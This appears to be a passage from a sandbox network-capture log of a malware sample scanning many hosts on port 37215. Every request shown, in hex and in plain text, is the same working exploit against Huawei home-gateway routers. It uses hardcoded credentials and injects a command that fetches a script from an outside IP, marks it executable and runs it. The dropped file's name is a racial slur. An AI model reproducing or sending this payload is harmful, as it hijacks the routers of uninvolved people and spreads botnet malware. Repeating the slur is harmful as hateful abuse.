Feb 19, 2024 18:37:30.371774912 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:37.794709921 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.23	44126	45.123.197.106	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:23.226114035 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.836499929 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:26.724220991 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:30.627621889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.306726933 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.23	46978	45.42.86.102	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:23.685641050 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.23	38866	45.33.251.2	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:23.685843945 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.23	52572	45.41.84.24	37215

